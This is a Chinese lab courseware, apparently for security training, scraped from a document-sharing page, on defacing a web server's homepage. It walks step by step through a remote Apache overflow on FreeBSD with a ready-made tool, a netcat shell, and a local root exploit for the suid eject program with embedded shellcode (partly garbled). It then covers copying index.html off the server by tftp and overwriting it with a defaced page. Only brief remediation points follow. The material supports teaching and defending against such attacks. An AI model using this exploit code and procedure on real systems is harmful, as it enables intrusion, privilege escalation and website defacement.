SEC-B07-001.1-Web服务首页篡改
更新时间:2024-01-07 16:34:01 阅读量: 教育文库 文档下载
- sec-butyl推荐度:
- 相关推荐
SEC-B07-001.1
WEB服务首页篡改
2010年4月
实验课件摘要
技术背景
Apache HTTP Server是最流行的开放源码WEB服务器系统之一,它是由Apache Group开发、发布并支持的。Apache HTTP Server支持静态编译及动态模块加载2种方式,在其某些特定版本中的动态模块存在缓冲区溢出漏洞,攻击者会利用此漏洞达到对WEB服务器进行攻击或执行指定程序的目的。
实验目的
通过本实验使读者了解WEB服务器的安全漏洞以增强安全意识。
实验平台
攻击机(客户端):Windows2000/XP/2003 目标机(服务端):UNIX Server ( FreeBSD )
实验工具
FreeBSD 默认版本Apache 远程溢出工具 exbsd.exe NetCat 1.11 for Windows (网络瑞士军刀) Tftpd Server
实验要点
1.
FreeBSD 本地提权
2
2.
HTML 文件修改
3
实验步骤指导
访问目标主机的HTTP服务
在学生试验机IE浏览器中输入http://目标试验机IP地址 ,访问目标实验机上的Web站点。
【注释】
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
让学生访问实验目标机的web地址,确认实验目标机上存在可以访问的Web服务器站点。 ※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
探测目标主机WEB服务信息
让学生将实验课程提供的实验工具下载的本地目录,并在学生机上打开CMD命令行窗口; 在CMD命令行窗口中,将当前目录切换到下载的实验工具存放目录,如图所示:E:\\Some Tools\\netcat目录。 命令:
4
cd E:\\Some Tools\\netcat
确认下载工具nc.exe存在当前目录,在CMD命令行中执行如下操作。 命令:
nc.exe IP地址 80 输入如下命令:
GET /abcdefg HTTP/1.0
输入命令后连续两次回车,可以从返回中获取服务器版本信息。
【注释】
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※ IP地址为实验目标机的IP地址,即Web站点的IP地址。
命令中的 abcdefg 是任意字符串,是不存在的页面,会引起404错误。这么做的理由是 404错误的返回页面内容比较少,便于查看。
返回信息中还包含目标服务器Web站点地址以及Web服务器使用的端口信息【通过使用命令,再次确认目标站点服务器】。
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
用 exbsd.exe 尝试远程溢出
在CMD命令行中切换到exbsd.exe工具存放的目录,并执行如下操作: 命令:
5
exbsd.exe -t 目标主机IP地址
【注释】
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
因apache服务为多进程服务,溢出程序可能需要尝试多次搜索地址空间,若失败,请多尝试几次。
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※ 【知识重点】
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
如何使用特殊工具对目标计算机进行溢出攻击,了解溢出攻击后的效果,以及反馈信息。 通过移出攻击能够获取到目标服务器IP地址以及存在漏洞的端口信息,通过端口的访问能够获得连接目标计算机的权限。
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
溢出成功,用NetCat 连接
等待溢出攻击成功后,显示如下图所示信息:
再次使用nc.exe工具连接实验目标机; 命令:
6
nc.exe 目标主机IP地址 目标端口
连接上以后,我们尝试做如下操作,以验证连接实验目标机是否成功。 用 id 命令看当前帐户信息,看到 uid=1001, gid=1001,是普通权限 用 w 命令看当前有谁在线,看到两个远程登录连接 用 pwd 命令看当前所在目录
用 uname -a 命令看当前操作系统的信息,看到是 FreeBSD 4.8 Release 版本,未打补丁 用cd /tmp 命令切换目录至 /tmp 下,准备编写提权程序。 【注释】
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※ Linux系统的基本操作命令请参考提供的Linux命令手册。
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
提升权限
FreeBSD 老版本上的 eject 程序存在缓冲区溢出漏洞,可被本地程序利用以提升权限。
eject 程序具有suid 位,在有问题的版本中未对用户输入的参数进行有效检测,导致溢出后eip指向精心构造的shellcode 入口,进而提权成功。
编写提权代码
在连接实验目标机的命令行窗口中,进行提权代码编写: 命令:
cat > ex.c << _EOF
7
注:特别要注意开始的 << _EOF 和最后的 _EOF 在命令执行后,输入如下所示的代码: #include
unsigned int ret = 0xbfbfeead;
char shellcode[] = \\\xeb\\x17\\x5b\\x31\\xc0\\x88\\x43\\x07\\x89\\x5b\\x08\\x89\ \ \\
8
char envshell[4096];
memset( envshell, 0x90, 4096 );
memcpy( envshell + 4096 - strlen( shellcode ), shellcode, strlen( shellcode ) ); envshell[4096] = 0x0;
memcpy( envshell, \5 ); putenv( envshell );
memset( buf, 0x41, BOF_LEN - 1 );
*(unsigned int *)(buf + BOF_LEN - 5) = ret; *(buf + BOF_LEN - 1) = 0x0; arg[0] = \/usr/local/sbin/eject\ arg[1] = \-t\ arg[2] = buf; arg[3] = NULL;
execve (arg[0], arg, environ); return( 0 ); } 【注释】
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
在使用此方式编写代码时,不允许用户在输入错误代码后进行修改,只能再次执行命令从新进行代码输入。
为方便实验,代码输入可以采用拷贝/复制方式进行输入,首先将代码拷贝到txt文档上,并在txt文档上再次复制代码,在代码输入窗口中点击鼠标右键,将拷贝代码自动输入。 输入完成提权代码后,请一定以_EOF结尾,如图片所示。
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※ 【知识重点】
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※ 如何在Linux系统下进行C语言程序的开发,以及C语言程序的编译。 ※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
编译提权代码,运行提权程序
在编写完成提权代码文件后,查看代码文件是否存在:
9
命令: ls -al ex.c
使用 gcc命令对代码文件进行 编译; 命令: gcc -o ex ex.c
查看编译后的代码提权文件是否存在; 命令: ls -al ex
执行编译后的代码提权文件然后执行 命令: ./ex
查看当前用户被提权后的状态; 命令: id
可以看到 euid=0, 命令: whoami
可以看到已经是 root了。
【注释】
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※ 目前还不是完全的 root 权限,但是对于篡改首页来说已经够了。
10
Root权限的进一步提升可参考《Linux 系统漏洞利用》的内容。 在Linux系统下执行文件,需要在可执行文件前“./ ”符号。
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
篡改网站首页
寻找web服务器的配置文件存储路径
1、 查找 apache 包的完整名称; 命令:
usr/sbin/pkg_info | grep apache
可以看到包完整名称为“apache-1.3.27_4”
2、 查看apache安装的根路径; 命令:
/usr/sbin/pkg_info -p 包完整名称 可以看到是 /usr/local
3、 查看配置文件所在的路径; 命令:
/usr/sbin/pkg_info -f 包完整名称 | grep httpd.conf
可以看到是 %D/etc/apache/httpd.conf,其中的 %D就是前面得到的 /usr/local
11
综上,apache 服务器的配置文件为 /usr/local/etc/apache/httpd.conf 【知识重点】
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
? 如何在Linux系统下进行指定文件名称,文件目录的查找,以及查找结果的输出。
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
寻找网站页面文件存储路径
1、 查找Web站点的页面根路径; 命令:
cat /usr/local/etc/apache/httpd.conf | grep DocumentRoot | grep -v “#” 可以得到的路径为:/usr/local/www/data
【知识重点】
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
? 如何在Linux系统下对指定文件的内容进行查找,并对查找内容进行输入。
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※ 2、 用切换目录到网站页面根路径; 命令:
cd /usr/local/www/data
3、 查看Web站点首页是否在当前路径下; 命令:
ls -al index.html
12
可以看到 index.html 在当前路径下。
【注释】
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
? ?
UNIX系统的命令行是大小写敏感的,因此输入命令及参数时注意区分大小写。 上面的命令中 grep -v ”#” 的含义是排除含”#”的行。
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
用 Tftpd 实用程序传输文件
使用下载的tftpd32.exe工具,将Web 站点服务器上的index.html文件传输到本地学生机上。
在本地学生机上启动 tftpd32.exe工具,如下如所示,设置传输到本地的index.html文件存放路径。
13
在 nc.exe工具的窗口中将 index.html 传输到学生机本地。
进入 tftp 客户端程序 命令: tftp
与学生机建立FTP连接: 命令:
connect 学生机IP地址 设置传输模式为二进制传输 命令: binary
将当前目录下的index.html文件传输到学生机。 命令: put index.html
我们可以在 tftpd32.exe 程序的 Log Viewer窗口看到传输信息,并在 tftpd32.exe 的同级目录中看到传学生机上的index.html文件。
14
修改index.html文件
1、 用编辑工具打开 index.html 文件,如记事本,查找”
2、 在
后面插入信息:犯我中华者,虽远必诛!
3、 查找页面编码,修改为简体中文(GB2312)
15
将修改后的index.html传输到远程主机
1、 在执行 nc.exe 的窗口中将在学生机上修改后的 index.html 传输到Web站点服务器上。
进入 tftp 客户端程序【已经执行过,可以忽略】 命令: tftp
16
与学生机建立FTP连接:【已经执行过,可以忽略】 命令:
connect 学生机IP地址
设置传输模式为二进制传输【已经执行过,可以忽略】 命令: binary
将学生机上修改后的index.html文件传输到Web站点服务器的当前目录。【需要将Web站点服务器上原有的index.html文件覆盖】 命令: get index.html
我们可以在 tftpd32.exe 程序的 Log Viewer窗口看到传输信息
查看修改后的页面
在学生机上的浏览器中再次输入http://实验目标机IP地址 查看已经被篡改后的Web站点页面,如下图所示:
17
退出root shell,断开连接
输入 quit 退出 tftp 客户端程序: 命令: quit
退出通过溢出获得到Web站点服务器的 root shell 命令: exit
再次输入 exit 断开连接
解决方案
1.
对系统进行加固,更新有问题的服务程序
18
2. 3.
做双向ACL,拒绝非法端口访问 对有问题的内核打补丁或升级内核
19
正在阅读:
570L常用操作界面单词释义10-02
五月的风作文600字06-20
2016-2017学年度苏锡常镇四市高三教学情况调研(一)修正版(含附加题)12-14
2018年广东外语外贸大学710经济学(同等学力加试)复试仿真模拟三套题05-09
1-1线性规划问题及其数学模型05-25
别作“糊涂虫”作文400字06-29
《中级财务会计习题与案例》练习题与答案(doc 58页)完美版10-11
鼻尖上的四季作文400字07-07
中考励志语录霸气一点的精选03-30
- exercise2
- 铅锌矿详查地质设计 - 图文
- 厨余垃圾、餐厨垃圾堆肥系统设计方案
- 陈明珠开题报告
- 化工原理精选例题
- 政府形象宣传册营销案例
- 小学一至三年级语文阅读专项练习题
- 2014.民诉 期末考试 复习题
- 巅峰智业 - 做好顶层设计对建设城市的重要意义
- (三起)冀教版三年级英语上册Unit4 Lesson24练习题及答案
- 2017年实心轮胎现状及发展趋势分析(目录)
- 基于GIS的农用地定级技术研究定稿
- 2017-2022年中国医疗保健市场调查与市场前景预测报告(目录) - 图文
- 作业
- OFDM技术仿真(MATLAB代码) - 图文
- Android工程师笔试题及答案
- 生命密码联合密码
- 空间地上权若干法律问题探究
- 江苏学业水平测试《机械基础》模拟试题
- 选课走班实施方案
- 首页
- 篡改
- 001.1
- 服务
- SEC
- Web
- 07
- 碳排放
- 地理
- 郑州大学远程教育2015年春《计算机应用基础》第1至9章在线测试题及答案
- 2019-2020年四年级数学下册 认识容量和升教案 苏教版
- 求一个数比另一个数多(少)百分之几
- 2014年高考真题 - 语文(新课标卷) Word版含答案 - 图文
- 空调安装考试试卷
- 植物病害流行学习题
- investment - appraisal(1)
- 施工
- 目录
- 江西省铅山一中2015届高三理综上学期第一次模拟考试题(非零班)
- 2018-2023年中国通用航空机场行业市场深度调研研究及投资前景战略咨询-(目录) - 图文
- AQ标准
- Windows XP操作系统实验
- 2013 - - 2017留守儿童心理健康教育方案
- 转学接收函样本
- 加油站安全评价报告模板范文 - 图文
- 减轻学生课业负担 提高课堂教学效率 论文
- 中央电大组织行为学形成性考核册答案8